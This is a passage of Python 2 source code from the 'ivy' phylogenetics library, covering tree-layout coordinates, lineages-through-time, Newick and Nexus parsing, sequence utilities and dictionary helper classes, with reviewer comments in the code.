Optional, defaults to\n                True.\n    Returns:\n        dict: Mapping of nodes to Coordinates object\n    Notes:\n        Origin is at upper left\n    \"\"\"\n    width -= (lpad + rpad)\n    height -= (tpad + bpad)\n\n    if n2coords is None:\n        n2coords = {}\n    depth_length_preorder_traversal(node, n2coords=n2coords)\n    leaves = node.leaves()\n    nleaves = len(leaves)\n    maxdepth = max([ n2coords[lf].depth for lf in leaves ])\n    unitwidth = width/float(maxdepth)\n    unitheight = height/(nleaves-1.0)\n\n    xoff = (unitwidth * 0.5)\n    yoff = (unitheight * 0.5)\n\n    if scaled:\n        maxlen = max([ n2coords[lf].length_to_root for lf in leaves ])\n        scale = width/maxlen\n\n    for i, lf in enumerate(leaves):\n        c = n2coords[lf]\n        c.y = i * unitheight\n        if not scaled:\n            c.x = width\n        else:\n            c.x = c.length_to_root * scale\n\n    for n in node.postiter():\n        c = n2coords[n]\n        if (not n.isleaf) and n.children:\n            children = n.children\n            ymax = n2coords[children[0]].y\n            ymin = n2coords[children[-1]].y\n            c.y = (ymax + ymin)/2.0\n            if not scaled:\n                c.x = min([ n2coords[ch].x for ch in children ]) - unitwidth\n            else:\n                c.x = c.length_to_root * scale\n\n    if (not scaled) and smooth:\n        for i in range(10):\n            smooth_xpos(node, n2coords)\n\n    for coords in n2coords.values():\n        coords.x += lpad\n        coords.y += tpad\n\n    for n, coords in n2coords.items():\n        if n.parent:\n            p = n2coords[n.parent]\n            coords.px = p.x; coords.py = p.y\n        else:\n            coords.px = None; coords.py = None\n\n    return n2coords\n\nnodepos = calc_node_positions\n\ndef cartesian(node, xscale=1.0, leafspace=None, scaled=True, n2coords=None,\n              smooth=0, array=numpy.array, ones=numpy.ones, yunit=None):\n    \"\"\"\n    RR: What is the difference between this function and calc_node_positions?\n        Is it being used anywhere? -CZ\n    \"\"\"\n\n    if n2coords is None:\n        n2coords = {}\n\n    depth_length_preorder_traversal(node, n2coords, True)\n    leaves = node.leaves()\n    nleaves = len(leaves)\n\n    # leafspace is a vector that should sum to nleaves\n    if leafspace is None:\n        try: leafspace = [ float(x.leafspace) for x in leaves ]\n        except: leafspace = numpy.zeros((nleaves,))\n    assert len(leafspace) == nleaves\n    #leafspace = array(leafspace)/(sum(leafspace)/float(nleaves))\n\n    maxdepth = max([ n2coords[lf].depth for lf in leaves ])\n    depth = maxdepth * xscale\n    #if not yunit: yunit = 1.0/nleaves\n    yunit = 1.0\n\n    if scaled:\n        maxlen = max([ n2coords[lf].length_to_root for lf in leaves ])\n        depth = maxlen\n\n    y = 0\n    for i, lf in enumerate(leaves):\n        c = n2coords[lf]\n        yoff = 1 + (leafspace[i] * yunit)\n        c.y = y + yoff*0.5\n        y += yoff\n        if not scaled:\n            c.x = depth\n        else:\n            c.x = c.length_to_root\n\n    for n in node.postiter():\n        c = n2coords[n]\n        if not n.isleaf:\n            children = n.children\n            v = [n2coords[children[0]].y, n2coords[children[-1]].y]\n            v.sort()\n            ymin, ymax = v\n            c.y = (ymax + ymin)/2.0\n            if not scaled:\n                c.x = min([ n2coords[ch].x for ch in children ]) - 1.0\n            else:\n                c.x = c.length_to_root\n\n    if not scaled:\n        for i in range(smooth):\n            smooth_xpos(node, n2coords)\n\n    return n2coords\n\nif __name__ == \"__main__\":\n    import tree\n    node = tree.read(\"(a:3,(b:2,(c:4,d:5):1,(e:3,(f:1,g:1):2):2):2);\")\n    for i, n in enumerate(node.iternodes()):\n        if not n.isleaf:\n            n.label = \"node%s\" % i\n    node.label = \"root\"\n    n2c = calc_node_positions(node, width=10, height=10, scaled=True)\n\n    from pprint import pprint\n    pprint(n2c)\n", "ivy/ltt.py": "\"\"\"\nCompute lineages through time\n\"\"\"\nimport numpy\n\n# RR: Should results be set to None and then defined in the function to avoid\n# problems with mutable defaults in functions? -CZ\ndef traverse(node, t=0, results=[]):\n    \"\"\"\n    Recursively traverse the tree and collect information about when\n    nodes split and how many lineages are added by its splitting.\n    \"\"\"\n    if node.children:\n        ## if not node.label:\n        ##     node.label = str(node.id)\n        results.append((t, len(node.children)-1))\n        for child in node.children:\n            traverse(child, t+child.length, results)\n    return results\n\ndef ltt(node):\n    \"\"\"\n    Calculate lineages through time.  The tree is assumed to be an\n    ultrametric chronogram (extant leaves, with branch lengths\n    proportional to time).\n\n    Args:\n        node (Node): A node object. All nodes should have branch lengths.\n\n    Returns:\n        tuple: (times, diversity) - 1D-arrays containing the results.\n    \"\"\"\n    v = traverse(node) # v is a list of (time, diversity) values\n    v.sort()\n    # for plotting, it is easiest if x and y values are in separate\n    # sequences, so we create a transposed array from v\n    times, diversity = numpy.array(v).transpose()\n    return times, diversity.cumsum()\n\ndef test():\n    import newick, ascii\n    n = newick.parse(\"(((a:1,b:2):3,(c:3,d:1):1,(e:0.5,f:3):2.5):1,g:4);\")\n    v = ltt(n)\n    print ascii.render(n, scaled=1)\n    for t, n in v:\n        print t, n\n\nif __name__ == \"__main__\":\n    test()\n", "ivy/newick.py": "\"\"\"\nParse newick strings.\n\nThe function of interest is `parse`, which returns the root node of\nthe parsed tree.\n\"\"\"\nimport string, sys, re, shlex, types, itertools\nimport numpy\nimport nexus\nfrom cStringIO import StringIO\nfrom pprint import pprint\n\n## def read(s):\n##     try:\n##         s = file(s).read()\n##     except:\n##         try:\n##             s = s.read()\n##         except:\n##             pass\n##     return parse(s)\n\nLABELCHARS = '-.|/?#&'\nMETA = re.compile(r'([^,=\\s]+)\\s*=\\s*(\\{[^=}]*\\}|\"[^\"]*\"|[^,]+)?')\n\ndef add_label_chars(chars):\n    global LABELCHARS\n    LABELCHARS += chars\n\nclass Tokenizer(shlex.shlex):\n    \"\"\"Provides tokens for parsing newick strings.\"\"\"\n    def __init__(self, infile):\n        global LABELCHARS\n        shlex.shlex.__init__(self, infile, posix=False)\n        self.commenters = ''\n        self.wordchars = self.wordchars+LABELCHARS\n        self.quotes = \"'\"\n\n    def parse_embedded_comment(self):\n        ws = self.whitespace\n        self.whitespace = \"\"\n        v = []\n        while 1:\n            token = self.get_token()\n            if token == '':\n                sys.stdout.write('EOF encountered mid-comment!\\n')\n                break\n            elif token == ']':\n                break\n            elif token == '[':\n                self.parse_embedded_comment()\n            else:\n                v.append(token)\n        self.whitespace = ws\n        return \"\".join(v)\n        ## print \"comment:\", v\n\ndef parse(data, ttable=None, treename=None):\n    \"\"\"\n    Parse a newick string.\n\n    Args:\n        data: Any file-like object that can be coerced into shlex, or\n          a string (converted to StringIO)\n        ttable (dict): Mapping of node labels in the newick string\n          to other values.\n\n    Returns:\n        Node: The root node.\n    \"\"\"\n    from tree import Node\n\n    if type(data) in types.StringTypes:\n        data = StringIO(data)\n\n    start_pos = data.tell()\n    tokens = Tokenizer(data)\n\n    node = None; root = None\n    lp=0; rp=0; rooted=1\n\n    previous = None\n\n    ni = 0 # node id counter (preorder) - zero-based indexing\n    li = 0 # leaf index counter\n    ii = 0 # internal node index counter\n    pi = 0 # postorder sequence\n    while 1:\n        token = tokens.get_token()\n        #print token,\n        if token == ';' or token == tokens.eof:\n            assert lp == rp, \\\n                   \"unbalanced parentheses in tree description: (%s, %s)\" \\\n                   % (lp, rp)\n            break\n\n        # internal node\n        elif token == '(':\n            lp = lp+1\n            newnode = Node()\n            newnode.ni = ni; ni += 1\n            newnode.isleaf = False\n            newnode.ii = ii; ii += 1\n            newnode.treename = treename\n            if node:\n                if node.children: newnode.left = node.children[-1].right+1\n                else: newnode.left = node.left+1\n                node.add_child(newnode)\n            else:\n                newnode.left = 1; newnode.right = 2\n            newnode.right = newnode.left+1\n            node = newnode\n\n        elif token == ')':\n            rp = rp+1\n            node = node.parent\n            node.pi = pi; pi += 1\n            if node.children:\n                node.right = node.children[-1].right + 1\n\n        elif token == ',':\n            node = node.parent\n            if node.children:\n                node.right = node.children[-1].right + 1\n\n        # branch length\n        elif token == ':':\n            token = tokens.get_token()\n            if token == '[':\n                node.length_comment = tokens.parse_embedded_comment()\n                token = tokens.get_token()\n\n            if not (token == ''):\n                try: brlen = float(token)\n                except ValueError:\n                    raise ValueError, (\"invalid literal for branch length, \"\n                                       \"'%s'\" % token)\n            else:\n                raise 'NewickError', \\\n                      'unexpected end-of-file (expecting branch length)'\n\n            node.length = brlen\n        # comment\n        elif token == '[':\n            node.comment = tokens.parse_embedded_comment()\n            if node.comment[0] == '&':\n                # metadata\n                meta = META.findall(node.comment[1:])\n                if meta:\n                    for k, v in meta:\n                        v = eval(v.replace('{','(').replace('}',')'))\n                        node.meta[k] = v\n\n        # leaf node or internal node label\n        else:\n            if previous != ')': # leaf node\n                if ttable:\n                    try:\n                        ttoken = (ttable.get(int(token)) or\n                                  ttable.get(token))\n                    except ValueError:\n                        ttoken = ttable.get(token)\n                    if ttoken:\n                        token = ttoken\n                newnode = Node()\n                newnode.ni = ni; ni += 1\n                newnode.pi = pi; pi += 1\n                newnode.label = \"_\".join(token.split()).replace(\"'\", \"\")\n                newnode.isleaf = True\n                newnode.li = li; li += 1\n                if node.children: newnode.left = node.children[-1].right+1\n                else: newnode.left = node.left+1\n                newnode.right = newnode.left+1\n                newnode.treename = treename\n                node.add_child(newnode)\n                node = newnode\n            else: # label\n                if ttable:\n                    node.label = ttable.get(token, token)\n                else:\n                    node.label = token\n\n        previous = token\n    node.isroot = True\n    return node\n\n## def string(node, length_fmt=\":%s\", end=True, newline=True):\n##     \"Recursively create a newick string from node.\"\n##     if not node.isleaf:\n##         node_str = \"(%s)%s\" % \\\n##                    (\",\".join([ string(child, length_fmt, False, newline) \\\n##                                for child in node.children ]),\n##                     node.label or \"\"\n##                     )\n##     else:\n##         node_str = \"%s\" % node.label\n\n##     if node.length is not None:\n##         length_str = length_fmt % node.length\n##     else:\n##         length_str = \"\"\n\n##     semicolon = \"\"\n##     if end:\n##         if not newline:\n##             semicolon = \";\"\n##         else:\n##             semicolon = \";\\n\"\n##     s = \"%s%s%s\" % (node_str, length_str, semicolon)\n##     return s\n\n## def from_nexus(infile, bufsize=None):\n##     bufsize = bufsize or 1024*5000\n##     TTABLE = re.compile(r'\\btranslate\\s+([^;]+);', re.I | re.M)\n##     TREE = re.compile(r'\\btree\\s+([_.\\w]+)\\s*=[^(]+(\\([^;]+;)', re.I | re.M)\n##     s = infile.read(bufsize)\n##     ttable = TTABLE.findall(s) or None\n##     if ttable:\n##         items = [ shlex.split(line) for line in ttable[0].split(\",\") ]\n##         ttable = dict([ (k, v.replace(\" \", \"_\")) for k, v in items ])\n##     trees = TREE.findall(s)\n##     ## for i, t in enumerate(trees):\n##     ##     t = list(t)\n##     ##     if ttable:\n##     ##         t[1] = \"\".join(\n##     ##             [ ttable.get(x, \"_\".join(x.split()).replace(\"'\", \"\"))\n##     ##               for x in shlex.shlex(t[1]) ]\n##     ##             )\n##     ##     trees[i] = t\n##     ## return trees\n##     return ttable, trees\n\ndef parse_ampersand_comment(s):\n    import pyparsing\n    pyparsing.ParserElement.enablePackrat()\n    from pyparsing import Word, Literal, QuotedString, CaselessKeyword, \\\n         OneOrMore, Group, Optional, Suppress, Regex, Dict\n    word = Word(string.letters+string.digits+\"%_\")\n    key = word.setResultsName(\"key\") + Suppress(\"=\")\n    single_value = (Word(string.letters+string.digits+\"-.\") |\n                    QuotedString(\"'\") |\n                    QuotedString('\"'))\n    range_value = Group(Suppress(\"{\") +\n                        single_value.setResultsName(\"min\") +\n                        Suppress(\",\") +\n                        single_value.setResultsName(\"max\") +\n                        Suppress(\"}\"))\n    pair = (key + (single_value | range_value).setResultsName(\"value\"))\n    g = OneOrMore(pair)\n    d = []\n    for x in g.searchString(s):\n        v = x.value\n        if type(v) == str:\n            try: v = float(v)\n            except ValueError: pass\n        else:\n            try: v = map(float, v.asList())\n            except ValueError: pass\n        d.append((x.key, v))\n    return d\n\ndef nexus_iter(infile):\n    import pyparsing\n    pyparsing.ParserElement.enablePackrat()\n    from pyparsing import Word, Literal, QuotedString, CaselessKeyword, \\\n         OneOrMore, Group, Optional, Suppress, Regex, Dict\n    ## beginblock = Suppress(CaselessKeyword(\"begin\") +\n    ##                       CaselessKeyword(\"trees\") + \";\")\n    ## endblock = Suppress((CaselessKeyword(\"end\") |\n    ##                      CaselessKeyword(\"endblock\")) + \";\")\n    comment = Optional(Suppress(\"[&\") + Regex(r'[^]]+') + Suppress(\"]\"))\n    ## translate = CaselessKeyword(\"translate\").suppress()\n    name = Word(string.letters+string.digits+\"_.\") | QuotedString(\"'\")\n    ## ttrec = Group(Word(string.digits).setResultsName(\"number\") +\n    ##               name.setResultsName(\"name\") +\n    ##               Optional(\",\").suppress())\n    ## ttable = Group(translate + OneOrMore(ttrec) + Suppress(\";\"))\n    newick = Regex(r'[^;]+;')\n    tree = (CaselessKeyword(\"tree\").suppress() +\n            Optional(\"*\").suppress() +\n            name.setResultsName(\"tree_name\") +\n            comment.setResultsName(\"tree_comment\") +\n            Suppress(\"=\") +\n            comment.setResultsName(\"root_comment\") +\n            newick.setResultsName(\"newick\"))\n    ## treesblock = Group(beginblock +\n    ##                    Optional(ttable.setResultsName(\"ttable\")) +\n    ##                    Group(OneOrMore(tree)) +\n    ##                    endblock)\n\n    def not_begin(s): return s.strip().lower() != \"begin trees;\"\n    def not_end(s): return s.strip().lower() not in (\"end;\", \"endblock;\")\n    def parse_ttable(f):\n        ttable = {}\n        while True:\n            s = f.next().strip()\n            if not s: continue\n            if s.lower() == \";\": break\n            if s[-1] == \",\": s = s[:-1]\n            k, v = s.split()\n            ttable[k] = v\n            if s[-1] == \";\": break\n        return ttable\n\n    # read lines between \"begin trees;\" and \"end;\"\n    f = itertools.takewhile(not_end, itertools.dropwhile(not_begin, infile))\n    s = f.next().strip().lower()\n    if s != \"begin trees;\":\n        print sys.stderr, \"Expecting 'begin trees;', got %s\" % s\n        raise StopIteration\n    ttable = {}\n    while True:\n        try: s = f.next().strip()\n        except StopIteration: break\n        if not s: continue\n        if s.lower() == \"translate\":\n            ttable = parse_ttable(f)\n            print \"ttable: %s\" % len(ttable)\n        elif s.split()[0].lower()=='tree':\n            match = tree.parseString(s)\n            yield nexus.Newick(match, ttable)\n\n## def test():\n##     with open(\"/home/rree/Dropbox/pedic-comm-amnat/phylo/beast-results/\"\n##               \"simple_stigma.trees.log\") as f:\n##         for rec in nexus_iter(f):\n##             r = parse(rec.newick, ttable=rec.ttable)\n##             for x in r: print x, x.comments\n\ndef test_parse_comment():\n    v = ((\"height_median=1.1368683772161603E-13,height=9.188229043880098E-14,\"\n          \"height_95%_HPD={5.6843418860808015E-14,1.7053025658242404E-13},\"\n          \"height_range={0.0,2.8421709430404007E-13}\"),\n         \"R\", \"lnP=-154.27154502342688,lnP=-24657.14341301901\",\n         'states=\"T-lateral\"')\n    for s in v:\n        print \"input:\", s\n        print dict(parse_ampersand_comment(s))\n", "ivy/nexus.py": "import itertools\nfrom collections import defaultdict\nimport newick\n\nclass Newick(object):\n    \"\"\"\n    convenience class for storing the results of a newick tree\n    record from a nexus file, as parsed by newick.nexus_iter\n    \"\"\"\n    def __init__(self, parse_results=None, ttable={}):\n        self.name = \"\"\n        self.comment = \"\"\n        self.root_comment = \"\"\n        self.newick = \"\"\n        self.ttable = ttable\n        if parse_results: self.populate(parse_results)\n\n    def populate(self, parse_results, ttable={}):\n        self.name = parse_results.tree_name\n        self.comment = parse_results.tree_comment\n        self.root_comment = parse_results.root_comment\n        self.newick = parse_results.newick\n        if ttable: self.ttable = ttable\n\n    def parse(self, newick=newick):\n        assert self.newick\n        self.root = newick.parse(\n            self.newick, ttable=self.ttable, treename=self.name\n            )\n        return self.root\n\ndef fetchaln(fname):\n    \"\"\"Fetch alignment\"\"\"\n    from Bio.Nexus import Nexus\n    n = Nexus.Nexus(fname)\n    return n\n\ndef split_blocks(infile):\n    from cStringIO import StringIO\n    dropwhile = itertools.dropwhile; takewhile = itertools.takewhile\n    blocks = []\n    not_begin = lambda s: not s.lower().startswith(\"begin\")\n    not_end = lambda s: not s.strip().lower() in (\"end;\", \"endblock;\")\n    while 1:\n        f = takewhile(not_end, dropwhile(not_begin, infile))\n        try:\n            b = f.next().split()[-1][:-1]\n            blocks.append((b, StringIO(\"\".join(list(f)))))\n        except StopIteration:\n            break\n    return blocks\n\ndef parse_treesblock(infile):\n    import string\n    from pyparsing import Optional, Word, Regex, CaselessKeyword, Suppress\n    from pyparsing import QuotedString\n    comment = Optional(Suppress(\"[&\") + Regex(r'[^]]+') + Suppress(\"]\"))\n    name = Word(string.letters+string.digits+\"_\") | QuotedString(\"'\")\n    newick = Regex(r'[^;]+;')\n    tree = (CaselessKeyword(\"tree\").suppress() +\n            Optional(\"*\").suppress() +\n            name.setResultsName(\"tree_name\") +\n            comment.setResultsName(\"tree_comment\") +\n            Suppress(\"=\") +\n            comment.setResultsName(\"root_comment\") +\n            newick.setResultsName(\"newick\"))\n    ## treesblock = Group(beginblock +\n    ##                    Optional(ttable.setResultsName(\"ttable\")) +\n    ##                    Group(OneOrMore(tree)) +\n    ##                    endblock)\n\n    def parse_ttable(f):\n        ttable = {}\n        while True:\n            s = f.next().strip()\n            if s.lower() == \";\": break\n            if s[-1] in \",;\": s = s[:-1]\n            k, v = s.split()\n            ttable[k] = v\n            if s[-1] == \";\": break\n        return ttable\n\n    ttable = {}\n    while True:\n        try: s = infile.next().strip()\n        except StopIteration: break\n        if s.lower() == \"translate\":\n            ttable = parse_ttable(infile)\n            print \"ttable: %s\" % len(ttable)\n        else:\n            match = tree.parseString(s)\n            yield Newick(match, ttable)\n", "ivy/sequtil.py": "from itertools import izip, imap\nimport numpy\n\ndef finditer(seq, substr, start=0):\n    \"\"\"\n    Find substrings within a sequence\n\n    Args:\n        seq (str): A sequence.\n        substr (str): A subsequence to search for\n        start (int): Starting index. Defaults to 0\n    Yields:\n        int: Starting indicies of where the substr was found in seq\n    \"\"\"\n    N = len(substr)\n    i = seq.find(substr, start)\n    while i >= 0:\n        yield i\n        i = seq.find(substr, i+N)\n\ndef gapidx(seq, gapchar='-'):\n    \"\"\"\n    For a sequence with gaps, calculate site positions without gaps\n\n    Args:\n        seq (list): Each element of the list is one character in a sequence.\n        gapchar (str): The character gaps are coded as. Defaults to '-'\n    Returns:\n        array: An array where the first element corresponds to range(number of\n        characters that are not gaps) and the second element is the indicies\n        of all characters that are not gaps.\n    \"\"\"\n    a = numpy.array(seq)\n    idx = numpy.arange(len(a))\n    nongap = idx[a != gapchar]\n    return numpy.array((numpy.arange(len(nongap)), nongap))\n\ndef find_stop_codons(seq, pos=0):\n    \"\"\"\n    Find stop codons within sequence (in reading frame)\n\n    Args:\n        seq (str): A sequence\n        pos (int): Starting position. Defaults to 0.\n    Yields:\n        tuple: The index where the stop codon starts\n        and which stop codon was found.\n    \"\"\"\n    s = seq[pos:]\n    it = iter(s)\n    g = imap(lambda x:\"\".join(x), izip(it, it, it))\n    for i, x in enumerate(g):\n        if x in (\"TAG\", \"TAA\", \"TGA\"):\n            yield pos+(i*3), x\n", "ivy/storage.py": "from operator import itemgetter\nfrom heapq import nlargest\nfrom itertools import repeat, ifilter\n\nclass Storage(dict):\n    \"\"\"\n    A Storage object is like a dictionary except `obj.foo` can be used\n    in addition to `obj['foo']`.\n\n    From web2py/gluon/storage.py by Massimo Di Pierro (www.web2py.com)\n    \"\"\"\n    def __getattr__(self, key):\n        try:\n            return self[key]\n        except KeyError:\n            return None\n\n    def __setattr__(self, key, value):\n        self[key] = value\n\n    def __delattr__(self, key):\n        try:\n            del self[key]\n        except KeyError, k:\n            raise AttributeError, k\n\n    def __repr__(self):\n        return '<Storage ' + dict.__repr__(self) + '>'\n\n    def __getstate__(self):\n        return dict(self)\n\n    def __setstate__(self, value):\n        for (k, v) in value.items():\n            self[k] = v\n\nclass MaxDict(dict):\n    def __setitem__(self, key, value):\n        v = self.get(key)\n        if value > v:\n            dict.__setitem__(self, key, value)\n            \n#from http://code.activestate.com/recipes/576611/\nclass Counter(dict):\n    \"\"\"Dict subclass for counting hashable objects.  Sometimes called a bag\n    or multiset.  Elements are stored as dictionary keys and their counts\n    are stored as dictionary values.\n\n    >>> Counter('zyzygy')\n    Counter({'y': 3, 'z': 2, 'g': 1})\n\n    \"\"\"\n\n    def __init__(self, iterable=None, **kwds):\n        \"\"\"Create a new, empty Counter object.  And if given, count elements\n        from an input iterable.  Or, initialize the count from another mapping\n        of elements to their counts.\n\n        >>> c = Counter()                           # a new, empty counter\n        >>> c = Counter('gallahad')                 # a new counter from an iterable\n        >>> c = Counter({'a': 4, 'b': 2})           # a new counter from a mapping\n        >>> c = Counter(a=4, b=2)                   # a new counter from keyword args\n\n        \"\"\"        \n        self.update(iterable, **kwds)\n\n    def __missing__(self, key):\n        return 0\n\n    def most_common(self, n=None):\n        \"\"\"List the n most common elements and their counts from the most\n        common to the least.  If n is None, then list all element counts.\n\n        >>> Counter('abracadabra').most_common(3)\n        [('a', 5), ('r', 2), ('b', 2)]\n\n        \"\"\"        \n        if n is None:\n            return sorted(self.iteritems(), key=itemgetter(1), reverse=True)\n        return nlargest(n, self.iteritems(), key=itemgetter(1))\n\n    def elements(self):\n        \"\"\"Iterator over elements repeating each as many times as its count.\n\n        >>> c = Counter('ABCABC')\n        >>> sorted(c.elements())\n        ['A', 'A', 'B', 'B', 'C', 'C']\n\n        If an element's count has been set to zero or is a negative number,\n        elements() will ignore it.\n\n        \"\"\"\n        for elem, count in self.iteritems():\n            for _ in repeat(None, count):\n                yield elem\n\n    # Override dict methods where the meaning changes for Counter objects.\n\n    @classmethod\n    def fromkeys(cls, iterable, v=None):\n        raise NotImplementedError(\n            'Counter.fromkeys() is undefined.  Use Counter(iterable) instead.')\n\n    def update(self, iterable=None, **kwds):\n        \"\"\"Like dict.update() but add counts instead of replacing them.\n\n        Source can be an iterable, a dictionary, or another Counter instance.\n\n        >>> c = Counter('which')\n        >>> c.update('witch')           # add elements from another iterable\n        >>> d = Counter('watch')\n        >>> c.update(d)                 # add elements from another counter\n        >>> c['h']                      # four 'h' in which, witch, and watch\n        4\n\n        \"\"\"        \n        if iterable is not None:\n            if hasattr(iterable, 'iteritems'):\n                if self:\n                    self_get = self.get\n                    for elem, count in iterable.iteritems():\n                        self[elem] = self_get(elem, 0) + count\n                else:\n                    dict.update(self, iterable) # fast path when counter is empty\n            else:\n                self_get = self.get\n                for elem in iterable:\n                    self[elem] = self_get(elem, 0) + 1\n        if kwds:\n            self.update(kwds)\n\n    def copy(self):\n        'Like dict.copy() but returns a Counter instance instead of a dict.'\n        return Counter(self)\n\n    def __delitem__(self, elem):\n        'Like dict.__delitem__() but does not raise KeyError for missing values.'\n        if elem in self:\n            dict.__delitem__(self, elem)\n\n    def __repr__(self):\n        if not self:\n            return '%s()' % self.__class__.__name__\n        items = ', '.join(map('%r: %r'.__mod__, self.most_common()))\n        return '%s({%s})' % (self.__class__.__name__, items)\n\n    # Multiset-style mathematical operations discussed in:\n    #       Knuth TAOCP Volume II section 4.6.3 exercise 19\n    #       and at http://en.wikipedia.org/wiki/Multiset\n    #\n    # Outputs guaranteed to only include positive counts.\n    #\n    # To strip negative and zero counts, add-in an empty counter:\n    #       c += Counter()\n\n    def __add__(self, other):\n        \"\"\"Add counts from two counters.\n\n        >>> Counter('abbb') + Counter('bcc')\n        Counter({'b': 4, 'c': 2, 'a': 1})\n\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        result = Counter()\n        for elem in set(self) | set(other):\n            newcount = self[elem] + other[elem]\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\n    def __sub__(self, other):\n        \"\"\" Subtract count, but keep only results with positive counts.\n\n        >>> Counter('abbbc') - Counter('bccd')\n        Counter({'b': 2, 'a': 1})\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        result = Counter()\n        for elem in set(self) | set(other):\n            newcount = self[elem] - other[elem]\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\n    def __or__(self, other):\n        \"\"\"Union is the maximum of value in either of the input counters.\n\n        >>> Counter('abbb') | Counter('bcc')\n        Counter({'b': 3, 'c': 2, 'a': 1})\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        _max = max\n        result = Counter()\n        for elem in set(self) | set(other):\n            newcount = _max(self[elem], other[elem])\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\n    def __and__(self, other):\n        \"\"\" Intersection is the minimum of corresponding counts.\n\n        >>> Counter('abbb') & Counter('bcc')\n        Counter({'b': 1})\n\n        \"\"\"\n        if not isinstance(other, Counter):\n            return NotImplemented\n        _min = min\n        result = Counter()\n        if len(self) < len(other):\n            self, other = other, self\n        for elem in ifilter(self.__contains__, other):\n            newcount = _min(self[elem], other[elem])\n            if newcount > 0:\n                result[elem] = newcount\n        return result\n\ndef convert(d):\n    \"convert a (potentially nested) dict to Storage\"\n    from types import DictType\n    t = type(d)\n    if t == DictType:\n        for k,v in d.items():\n            d[k] = convert(v)\n        return Storage(d)\n    return d\n\nif __name__ == '__main__':\n    import doctest\n    print doctest.testmod()\n", "ivy/tree.py": "\"\"\"\nThe Node class and functions for creating trees from Newick strings,\netc.\n\nivy does not have a Tree class per se, as most functions operate\ndirectly on Node objects.\n\"\"\"\nimport os, types\nfrom storage import Storage\nfrom copy import copy as _copy\nfrom matrix import vcv\nimport newick\nfrom itertools import izip_longest\n\n## class Tree(object):\n##     \"\"\"\n##     A simple Tree class.\n##     \"\"\"\n##     def __init__(self, data=None, format=\"newick\", name=None, ttable=None):\n##         self.root = None\n##         if data:\n##             self.root = read(data, format, name, ttable)\n##         self.name = name\n##         self.ttable = ttable\n\n##     def __getattribute__(self, a):\n##         r = object.__getattribute__(self, 'root')\n##         try:\n##             return object.__getattribute__(r, a)\n##         except AttributeError:\n##             return object.__getattribute__(self, a)\n\ndef traverse(node):\n    \"recursive preorder iterator based solely on .children attribute\"\n    yield node\n    for child in node.children:\n        for descendant in traverse(child):\n            yield descendant\n\nclass Node(object):\n    \"\"\"\n    A basic Node class with attributes and references to child nodes\n    ('children', a list) and 'parent'.\n\n    Keyword Args:\n        id: ID of the node. If not provided, is set using\n          builtin id function\n        ni (int): Node index.\n        li (int): Leaf index.\n        isroot (bool): Is the node a root.\n        isleaf (bool): Is the node a leaf.\n        label (str): Node label.\n        length (float): Branch length from node to parent\n        support: RR: Are these bootstrap support values? -CZ\n        age (float): Age of the node in time units.\n        parent (Node): Parent of the ndoe.\n        children (list): List of node objects. Children of node\n        nchildren (int): No. of children\n        left: RR: Unsure what left and right mean -CZ\n        treename: Name of tree\n        comment: Comments for tree\n\n    \"\"\"\n    def __init__(self, **kwargs):\n        self.id = None\n        self.ni = None # node index\n        self.li = None # leaf index\n        self.isroot = False\n        self.isleaf = False\n        self.label = None\n        self.length = None\n        self.support = None\n        self.age = None\n        self.parent = None\n        self.children = []\n        self.nchildren = 0\n        self.left = None\n        self.right = None\n        self.treename = \"\"\n        self.comment = \"\"\n        self.meta = {}\n        ## self.length_comment = \"\"\n        ## self.label_comment = \"\"\n        if kwargs:\n            for k, v in kwargs.items():\n                setattr(self, k, v)\n        if self.id is None: self.id = id(self)\n\n    def __copy__(self):\n        return self.copy()\n\n    def __repr__(self):\n        v = []\n        if self.isroot:\n            v.append(\"root\")\n        elif self.isleaf:\n            v.append(\"leaf\")\n\n        if self.label:\n            v.append(\"'%s'\" % self.label)\n\n        s = \", \".join(v)\n\n        nid = ((self.id if (self.id is not None) else self.ni) or\n               '<%s>' % id(self))\n        if s:\n            s = \"Node(%s, %s)\" % (nid, s)\n        else:\n            s = \"Node(%s)\" % nid\n        return s\n\n\n    def __contains__(self, other):\n        \"\"\"\n        For use with `in` keyword\n\n        Args:\n            other: Another node or node label.\n        Returns:\n            bool: Whether or not the other node is a descendant of self\n        \"\"\"\n        otype = type(other)\n        if other and otype in types.StringTypes:\n            for x in self:\n                if other == x.label:\n                    return True\n            return False\n        else:\n            assert otype == type(self)\n            for x in self.iternodes():\n                if other == x:\n                    return True\n        return False\n\n    def __iter__(self):\n        for node in self.iternodes():\n            yield node\n\n    def __len__(self):\n        \"\"\"\n        Number of nodes descended from self\n\n        Returns:\n            int: Number of nodes descended from self (including self)\n        \"\"\"\n        i = 0\n        for n in self:\n            i += 1\n        return i\n\n    def __nonzero__(self):\n        return True\n\n    def __getitem__(self, x):\n        \"\"\"\n        Args:\n            x: A Node, Node.id (int) or a Node.label (string)\n\n        Returns:\n            Node: Found node(s)\n\n        \"\"\"\n        for n in self:\n            if n==x or n.id==x or n.ni == x or (n.label and n.label==x):\n                return n\n        raise IndexError(str(x))\n\n    def ascii(self, *args, **kwargs):\n        \"\"\"\n        Create ascii tree.\n\n        Keyword Args:\n            unitlen (float): How long each unit should be rendered as.\n              Defaults to 3.\n            minwidth (float): Minimum width of the plot. Defaults to 50\n            maxwidth (float): Maximum width of the plot. Defaults to None\n            scaled (bool): Whether or not the tree is scaled. Defaults to False\n            show_internal_labels (bool): Whether or not to show labels\n              on internal nodes. Defaults to True.\n        Returns:\n            str: Ascii tree to be shown with print().\n        \"\"\"\n        from ascii import render\n        return render(self, *args, **kwargs)\n\n    def collapse(self, add=False):\n        \"\"\"\n        Remove self and collapse children to polytomy\n\n        Args:\n            add (bool): Whether or not to add self's length to children's\n              length.\n\n        Returns:\n            Node: Parent of self\n\n        \"\"\"\n        assert self.parent\n        p = self.prune()\n        for c in self.children:\n            p.add_child(c)\n            if add and (c.length is not None):\n                c.length += self.length\n        self.children = []\n        return p\n\n    def copy(self, recurse=False):\n        \"\"\"\n        Return a copy of the node, but not copies of children, parent,\n        or any attribute that is a Node.\n\n        If `recurse` is True, recursively copy child nodes.\n\n        Args:\n            recurse (bool): Whether or not to copy children as well as self.\n\n        Returns:\n            Node: A copy of self.\n\n        TODO: test this function.\n\n        RR: This function runs rather slowly -CZ\n        